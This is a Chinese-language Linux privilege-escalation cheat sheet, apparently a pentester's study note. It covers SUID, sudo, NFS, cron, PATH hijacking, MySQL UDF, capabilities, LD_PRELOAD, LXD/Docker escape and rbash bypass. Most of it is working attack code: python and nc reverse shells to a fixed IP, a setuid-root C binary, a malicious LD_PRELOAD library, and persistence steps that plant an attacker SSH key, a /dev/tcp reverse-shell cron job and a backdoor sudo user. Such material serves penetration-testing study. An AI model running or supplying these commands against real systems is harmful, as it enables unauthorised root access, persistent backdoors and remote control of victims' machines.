1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 hostnamectl cat /etc/os-release lsb_release -a cat /etc/redhat-releasecat /etc/centos-releasecat /etc/lsb-releasecat /etc/*-release cat /etc/issueuname -acat /proc/version dmesg | grep "Linux version"
一些经典内核漏洞 dirtycow,Pwnkit,Dirty Pipe,SUDO,大脏牛
SUID&SUDO SUID(Set User ID)是一种文件权限位,主要用于让普通用户在执行某个程序时,临时以文件所有者(通常是 root)的身份运行该程序。执行文件时,进程的有效 UID(Effective UID)变为文件所有者的 UID。
eg:find 命令若被赋予了 root 权限,那么调用 find . -exec '/bin/sh' -p \; 即 find 后面所跟参数的命令也会享有 root 权限。
https://gtfobins.github.io/
1 2 3 find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null
示例:
1 2 /usr/bin/python2.7 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.131",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' /usr/bin/mawk 'BEGIN {system("/bin/sh")}'
SUDO root 把本来只能超级用户执行的命令赋予普通用户执行
1 2 sudo -u#-1 sqlite3 /dev/null '.shell /bin/sh'
CVE-2021-3156
sudo -v:1.8.2 - 1.8.31p2,1.9.0 - 1.9.5p1
缓冲区溢出,sudo 记录了可执行用户名,若输入该用户名过长就会导致多出来的字符覆盖到旁边的权限判断去,从而误认为 root 放行
NFS 服务配置不当 NFS 一种基于 TCP/IP 传输网络文件系统协议,通过使用 NFS 协议,客户机可以像访问本地目录一样访问远程服务器中的共享资源。
提权条件:NFS 服务开启和 web/用户权限利用
1 2 3 4 5 6 7 8 9 10 11 showmount -e xxx.xxx.xxx.xxx mkdir nfsmount -t nfs xxx.xxx.xxx.xxx:/mnt/nfs ./nfs chmod 777 shell.php
1 2 3 4 5 6 7 8 9 #include <stdlib.h> #include <unistd.h> int main () { setuid(0 ); system("id" ); system("/bin/bash" ); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 gcc getroot.c -o getroot cp getroot /root/nfschmod +s getrootfind / -perm -u=s -type f 2>/dev/null cd /mnt/nfs ./getroot
安全问题,本地文件赋予什么权限,同步过去的文件同样也拥有什么权限,从而导致提权(文件属性同步问题导致)
计划任务提权 不是操作计划任务,是操作计划任务里面调用的程序/脚本,通过操作已有计划任务里面要执行的内容来提权,看已有计划任务调用的文件是否可以控制,能控制就能提权。
利用环境变量提权 一个具有 sudo 权限的用户自定义一个目录,可以默认执行 curl 命令,curl 命令在系统环境变量中,将/bin/sh 写入 curl 文件中,添加环境变量为当前目录下的拼接原始的环境变量,导致在执行 curl 命令时执行的是当前文件夹下的 curl 文件中的内容,从而成功提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 echo $PATH /opt/statuscheck strings /opt/statuscheck cd /tmpecho "/bin/sh" > curlchmod 777 curlexport PATH=/tmp:$PATH echo $PATH
数据库 UDF 提权 User Defined Function(用户自定义函数),通过 MySQL 数据库的”插件机制”,把自己写的恶意代码(.so 文件)”安装”到数据库里,然后像调用普通 SQL 函数一样,执行系统命令,从而获得服务器控制权。
1 2 3 4 5 6 7 8 9 10 11 searchsploit udf cp /usr/share/exploitdb/exploits/linux/local/1518.c .gcc -g -shared -Wl,-soname,1518.so -o udf.so 1518.c -lc python -m http.server 8080
1 2 3 4 5 6 7 8 9 10 mysql -uroot -pR@v3nSecurity select version(); select @@basedir; show variables like '%basedir%' ; show variables like '%secure%' ; show variables like '%plugin%' ; show variables like '%compile%' ;
1 2 3 secure_file_priv = '' 或 '/tmp' plugin_dir = '/usr/lib/mysql/plugin/'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 use mysql; create table udflist(line blob );insert into udflist values (load_file('/tmp/udf.so' ));select * from udflist into dumpfile '/usr/lib/mysql/plugin/udf.so' ;create function do_system returns integer soname 'udf.so' ;select do_system('nc 192.168.10.131 6666 -e /bin/bash' );
利用 Capability 提取
https://www.cnblogs.com/f-carey/p/16026088.html
Capability 针对不同能力的精细化控制,不同用户所能控制系统的权限不同,eg:允许改变用户 ID 或组 ID,允许跟踪任意进程等
Effective(有效):当前实际生效的能力
Permitted(允许):进程可以使用的能力集合
Inheritable(可继承):子进程能继承的能力
+ep 表示:设置 Effective + Permitted,即”立即生效 + 允许使用”
1 2 3 4 5 6 7 8 9 10 11 getcap /usr/bin/phpgetcap -r / 2>/dev/nullsetcap cap_setuid+ep /tmp/phpsetcap -r /tmp/php
示例:
1 2 3 4 5 6 7 8 cp /usr/bin/php /tmp/phpsetcap cap_setuid+ep /tmp/php/tmp/php -r "posix_setuid(0); system('id');"
其他语言类似
1 2 3 4 5 6 7 8 python -c 'import os; os.setuid(0); os.system("/bin/sh")' perl -e 'use POSIX qw(setuid); setuid(0); exec "/bin/sh"' ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"'
LD_PRELOAD 环境变量注入
https://www.cnblogs.com/backlion/p/10503985.html
.so Linux 动态链接库,LD_Preload,看是否有文件以特权模式启动,让一个程序执行的时候加载指定链接库文件。
攻击者思路:
写一个恶意库,里面有个函数叫 _init()(库加载时自动执行)
_init() 里调用 setuid(0) 变成 root
用 LD_PRELOAD 让 sudo 运行的程序”先加载”这个恶意库
依赖 sudo 服务配置缺陷 ,导致原本应当被 sanitization(清理/过滤)的危险环境变量 LD_PRELOAD 被保留并传递给特权进程,从而允许攻击者劫持特权程序的动态链接过程。
1 2 3 4 5 sudo -lDefaults env_keep += LD_PRELOAD test ALL=(ALL:ALL) NOPASSWD: /usr/bin/find
两种方法:
符号拦截:定义与系统同名的函数(eg:system、printf)
利用 ELF 文件的初始化机制,在库被加载时自动执行特定代码
1 2 3 4 5 6 7 8 9 10 11 12 #include <stdio.h> #include <sys/types.h> #include <stdlib.h> void _init() { unsetenv("LD_PRELOAD" ); setgid(0 ); setuid(0 ); system("/bin/sh" ); }
1 2 3 gcc -fPIC -shared -o shell.so shell.c -nostartfiles sudo LD_PRELOAD=/tmp/shell.so find
虚拟化技术 LXC 容器 LXD(Linux 容器守护程序)系统容器管理器,基于 LXC(Linux 容器)技术。
若当前用户可以操作容器,用户创建一个容器,再用容器挂载宿主机磁盘,最后使用容器权限操作宿主机磁盘内容达到提权效果。(用户属于 LXD 组)
1 2 3 4 5 6 7 8 9 10 11 12 lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias test lxc init test test -c security.privileged=true lxc config device add test test disk source =/ path=/mnt/root recursive=true lxc start test lxc exec test /bin/sh cd /mnt/root/root
Docker 容器 任何能够与 Docker 守护进程(dockerd)进行通信的用户,实质上拥有与 root 等效的系统权限。(用户属于 docker 组)
1 2 3 4 docker run -v /:/mnt -it alpine cd /mnt/root
检测是否在容器内
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #!/bin/bash is_container () { if grep -qiE 'docker|containerd|lxc|kubepods' /proc/1/cgroup 2>/dev/null; then return 0 fi if [ -f /.dockerenv ] || [ -f /run/.containerenv ]; then return 0 fi if mount | grep -q 'overlay\|aufs\|devicemapper' ; then return 0 fi if ps -p 1 -o comm = | grep -qE 'init|systemd|docker|containerd' ; then return 1 fi return 1 } is_container && echo "Is Container" || echo "Not Container" cat /proc/self/status | grep CapEfffdisk -l
提权&持久化访问:
破解 /etc/shadow
写到宿主机 ssh 秘钥
1 2 3 4 5 6 7 8 9 10 11 12 13 ssh-keygen -t rsa -b 4096 -f ~/.ssh/container_escape -N "" echo "ssh-rsa AAAA... attacker@kali" >> /host/root/.ssh/authorized_keyschmod 600 /host/root/.ssh/authorized_keyschown root:root /host/root/.ssh/authorized_keysssh -i ~/.ssh/container_escape root@host_ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 echo '* * * * * root /tmp/backdoor.sh' > /host/etc/cron.d/escapecat > /host/tmp/backdoor.sh << 'EOF' bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 useradd -m -s /bin/bash -G sudo backdoor echo 'backdoor:password' | chpasswdEOF chmod +x /host/tmp/backdoor.sh
https://mp.weixin.qq.com/s/tk5Ya8DzoKQTgqkotr_dkQ
Rbash 绕过
https://xz.aliyun.com/t/7642
利用非受限程序执行命令
解释器调用 (python/perl/awk)
编辑器逃逸 (vim/less/nano)
其他 Shell 启动 (sh/bash -i)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 awk 'BEGIN {system("/bin/bash")}' python -c 'import os; os.system("/bin/bash")' python -c 'import pty; pty.spawn("/bin/bash")' perl -e 'exec "/bin/bash"' ruby -e 'exec "/bin/bash"' vim -c ':py3 import os; os.execv("/bin/bash", ["bash"])' less /etc/passwd nano
1 2 3 4 5 6 7 8 9 10 11 echo $PATH export PATH=/tmp:$PATH cd /tmpecho '/bin/bash' > ls chmod +x ls ls
1 2 3 4 5 6 find . -exec /bin/bash \; bash -c 'echo $(/bin/bash)'
利用配置文件加载
~/.bashrc / ~/.profile 注入
ENV 变量指向恶意脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 echo 'unset -o restricted 2>/dev/null; exec /bin/bash' >> ~/.bashrc$ echo $SHELLOPTS echo '/bin/bash -i' > /tmp/.evil.shchmod +x /tmp/.evil.shexport ENV=/tmp/.evil.sh